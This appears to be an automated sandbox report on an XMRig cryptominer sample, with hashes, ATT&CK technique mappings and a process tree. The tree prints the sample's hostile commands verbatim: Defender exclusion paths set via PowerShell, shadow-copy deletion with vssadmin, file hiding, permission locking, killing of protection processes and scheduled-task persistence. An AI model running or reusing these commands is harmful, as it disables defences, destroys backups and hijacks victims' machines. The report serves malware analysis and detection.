xmrig | 6b714ccf0f1076f5129a1c06fe5d07bc37750cd960f02e8c540543c435e2e42c

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 07:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 3.2MB
Sample260808-jjqs3acd57
SHA256 6b714ccf0f1076f5129a1c06fe5d07bc37750cd960f02e8c540543c435e2e42c
MD5 b1ddf6e88055e387b843b31397d4788c
SHA1 cf7f7b0c0e9864d7b503b07834b0f499c34a2976
SHA512 7c2968fcdc61777b3e90ca9a6a56b89fe5aedd21ee11322a62e3b43d2255114afc31f8bbfa569f034bc6f732b40fbee4fd9aa8d05c50b74d94f608a2ea6ea749
SSDEEP 49152:kJZ/94t6IJxMx2wKGvW7DCeOuYvM3eCL4+VfpDzC9O6f/CebKr8g1GhYtCr+MvjK:uU3xMcwKGiC63fPpDJ6ysxWCYtnyK
TLSH
T1D2F5017696A0D0E8D0B2A57CBA664901DEF67C4CF735A28A02E87461CF375D0DD29B33
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig impact miner persistence privilege_escalation ransomware

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c533-86.dat	family_xmrig
behavioral2/files/0x000d00000001c533-86.dat	xmrig

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2556	powershell.exe
1256	powershell.exe
2776	powershell.exe
3468	powershell.exe
876	powershell.exe
6088	powershell.exe
4780	powershell.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Startup.lnk	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
5964	ntrights.exe
5348	mouse.exe
5576	mouse.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1760	icacls.exe
4148	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1484	powercfg.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4648	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs

execution

Visual Basic

T1059.005

pid	Process
1736	WScript.exe
3964	WScript.exe
5636	WScript.exe
2684	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2792	cmd.exe
3240	cmd.exe
5140	cmd.exe
4152	cmd.exe
5216	cmd.exe
4536	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ntrights.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5976	PING.EXE
1492	PING.EXE

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4932	timeout.exe
4924	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5504	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2460	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings	2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	WScript.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5976	PING.EXE
1492	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1968	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
6088	powershell.exe
6088	powershell.exe
1256	powershell.exe
1256	powershell.exe
2776	powershell.exe
2776	powershell.exe
3468	powershell.exe
3468	powershell.exe
4780	powershell.exe
4780	powershell.exe
876	powershell.exe
876	powershell.exe
2556	powershell.exe
2556	powershell.exe
4168	tskill.exe
4168	tskill.exe
880	tskill.exe
880	tskill.exe
3216	tskill.exe
3216	tskill.exe
2604	tskill.exe
2604	tskill.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1484	powercfg.exe
Token: SeCreatePagefilePrivilege	1484	powercfg.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeIncreaseQuotaPrivilege	4780	powershell.exe
Token: SeSecurityPrivilege	4780	powershell.exe
Token: SeTakeOwnershipPrivilege	4780	powershell.exe
Token: SeLoadDriverPrivilege	4780	powershell.exe
Token: SeSystemProfilePrivilege	4780	powershell.exe
Token: SeSystemtimePrivilege	4780	powershell.exe
Token: SeProfSingleProcessPrivilege	4780	powershell.exe
Token: SeIncBasePriorityPrivilege	4780	powershell.exe
Token: SeCreatePagefilePrivilege	4780	powershell.exe
Token: SeBackupPrivilege	4780	powershell.exe
Token: SeRestorePrivilege	4780	powershell.exe
Token: SeShutdownPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeSystemEnvironmentPrivilege	4780	powershell.exe
Token: SeRemoteShutdownPrivilege	4780	powershell.exe
Token: SeUndockPrivilege	4780	powershell.exe
Token: SeManageVolumePrivilege	4780	powershell.exe
Token: 33	4780	powershell.exe
Token: 34	4780	powershell.exe
Token: 35	4780	powershell.exe
Token: 36	4780	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	4648	tasklist.exe
Token: SeDebugPrivilege	2460	taskkill.exe
Token: SeBackupPrivilege	4412	vssvc.exe
Token: SeRestorePrivilege	4412	vssvc.exe
Token: SeAuditPrivilege	4412	vssvc.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2684	2312	2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe	89
PID 2312 wrote to memory of 1736	2312	2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe	90
PID 2684 wrote to memory of 2792	2684	WScript.exe	91
PID 2792 wrote to memory of 5964	2792	cmd.exe	94
PID 2792 wrote to memory of 1484	2792	cmd.exe	95
PID 2792 wrote to memory of 6088	2792	cmd.exe	96
PID 2792 wrote to memory of 1256	2792	cmd.exe	97
PID 2792 wrote to memory of 2776	2792	cmd.exe	98
PID 2792 wrote to memory of 3468	2792	cmd.exe	99
PID 2792 wrote to memory of 4780	2792	cmd.exe	100
PID 2792 wrote to memory of 4932	2792	cmd.exe	102
PID 2792 wrote to memory of 2920	2792	cmd.exe	103
PID 2792 wrote to memory of 2148	2792	cmd.exe	104
PID 2792 wrote to memory of 1760	2792	cmd.exe	105
PID 2792 wrote to memory of 4148	2792	cmd.exe	106
PID 2792 wrote to memory of 3240	2792	cmd.exe	107
PID 3240 wrote to memory of 876	3240	cmd.exe	108
PID 2792 wrote to memory of 2556	2792	cmd.exe	109
PID 2792 wrote to memory of 1968	2792	cmd.exe	110
PID 2792 wrote to memory of 4168	2792	cmd.exe	111
PID 2792 wrote to memory of 880	2792	cmd.exe	112
PID 2792 wrote to memory of 3216	2792	cmd.exe	113
PID 2792 wrote to memory of 2604	2792	cmd.exe	114
PID 2792 wrote to memory of 5976	2792	cmd.exe	115
PID 5636 wrote to memory of 5140	5636	WScript.exe	120
PID 5140 wrote to memory of 4152	5140	cmd.exe	122
PID 4152 wrote to memory of 4648	4152	cmd.exe	123
PID 5140 wrote to memory of 5216	5140	cmd.exe	125
PID 5216 wrote to memory of 5348	5216	cmd.exe	126
PID 5140 wrote to memory of 4924	5140	cmd.exe	127
PID 5140 wrote to memory of 4536	5140	cmd.exe	128
PID 4536 wrote to memory of 5576	4536	cmd.exe	129
PID 5140 wrote to memory of 2460	5140	cmd.exe	130
PID 5140 wrote to memory of 1492	5140	cmd.exe	131
PID 2792 wrote to memory of 4692	2792	cmd.exe	133
PID 2792 wrote to memory of 52	2792	cmd.exe	134
PID 2792 wrote to memory of 2300	2792	cmd.exe	135
PID 2792 wrote to memory of 5504	2792	cmd.exe	136
PID 2792 wrote to memory of 2420	2792	cmd.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 5 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2148	attrib.exe
4692	attrib.exe
52	attrib.exe
2300	attrib.exe
2920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-08_b1ddf6e88055e387b843b31397d4788c_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\unistall.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k unistall.bat
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Users\Admin\AppData\Roaming\Sound\ntrights.exe
      ntrights -u Admin +r SeLockMemoryPrivilege
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5964
  - - C:\Windows\system32\powercfg.exe
      powercfg.exe /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
      4⤵
      Power Settings
      Suspicious use of AdjustPrivilegeToken
      PID:1484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Sound' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\runtime' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths' -Name 'C:\Users\Admin\AppData\Roaming\Sound' -Value 0 -PropertyType DWord -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Sound','C:\runtime','C:\Users\Admin\AppData\Roaming\Sound' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4780
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4932
  - - C:\Windows\system32\attrib.exe
      attrib +H system.bat
      4⤵
      Views/modifies file attributes
      PID:2920
  - - C:\Windows\system32\attrib.exe
      attrib +H system.vbs
      4⤵
      Views/modifies file attributes
      PID:2148
  - - C:\Windows\system32\icacls.exe
      icacls C:\Sound\system.bat /deny *S-1-1-0:(DE,WA) *S-1-5-7:(DE,WA)
      4⤵
      Modifies file permissions
      PID:1760
  - - C:\Windows\system32\icacls.exe
      icacls C:\Sound\system.bat /deny *S-1-1-0:(DE,DC,WA) *S-1-5-7:(DE,DC,WA)
      4⤵
      Modifies file permissions
      PID:4148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value" 2>nul
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3240
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(Get-Content 'C:\Sound\system.xml') -replace '22', 'S-1-5-21-1738198120-2966725515-3980530802-1000' | Out-File -Encoding ASCII 'C:\Sound\system.xml'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2556
  - - C:\Windows\system32\schtasks.exe
      SchTasks /Create /TN "audio system" /XML "C:\Sound\system.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1968
  - - C:\Windows\system32\tskill.exe
      tskill Monitor
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4168
  - - C:\Windows\system32\tskill.exe
      tskill smBootTime
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:880
  - - C:\Windows\system32\tskill.exe
      tskill Suo12_StartupManager
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3216
  - - C:\Windows\system32\tskill.exe
      tskill RealTimeProtector
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2604
  - - C:\Windows\system32\PING.EXE
      ping -n 50 localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5976
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\runtime\audio.exe
      4⤵
      Views/modifies file attributes
      PID:4692
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\runtime
      4⤵
      Views/modifies file attributes
      PID:52
  - - C:\Windows\system32\attrib.exe
      attrib +H C:\Sound
      4⤵
      Views/modifies file attributes
      PID:2300
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5504
  - - C:\Windows\system32\cmd.exe
      cmd /c del "C:\Users\Admin\AppData\Roaming\Sound\unistall.bat"
      4⤵
      PID:2420
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Sound\audio.vbs"
  2⤵
  - Creates a file in the Startup directory
  - Executes a VBScript file via the Windows Script Host.
  - Modifies registry class
  PID:1736

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Sound\update.vbs"
1⤵
- Creates a file in the Startup directory
- Executes a VBScript file via the Windows Script Host.
- Modifies registry class
PID:3964

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\runtime\system1.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\runtime\system1.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /NH /FI "imagename eq audio.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH /FI "imagename eq audio.exe"
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mouse.bat position
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5216
  - - C:\runtime\mouse.exe
      mouse.exe position
      4⤵
      Executes dropped EXE
      PID:5348
- - C:\Windows\system32\timeout.exe
    timeout 2
    3⤵
    - Delays execution with timeout.exe
    PID:4924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c mouse.bat position
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\runtime\mouse.exe
      mouse.exe position
      4⤵
      Executes dropped EXE
      PID:5576
- - C:\Windows\system32\taskkill.exe
    TASKKILL /F /IM audio.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2460
- - C:\Windows\system32\PING.EXE
    ping -n 600 localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1492

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...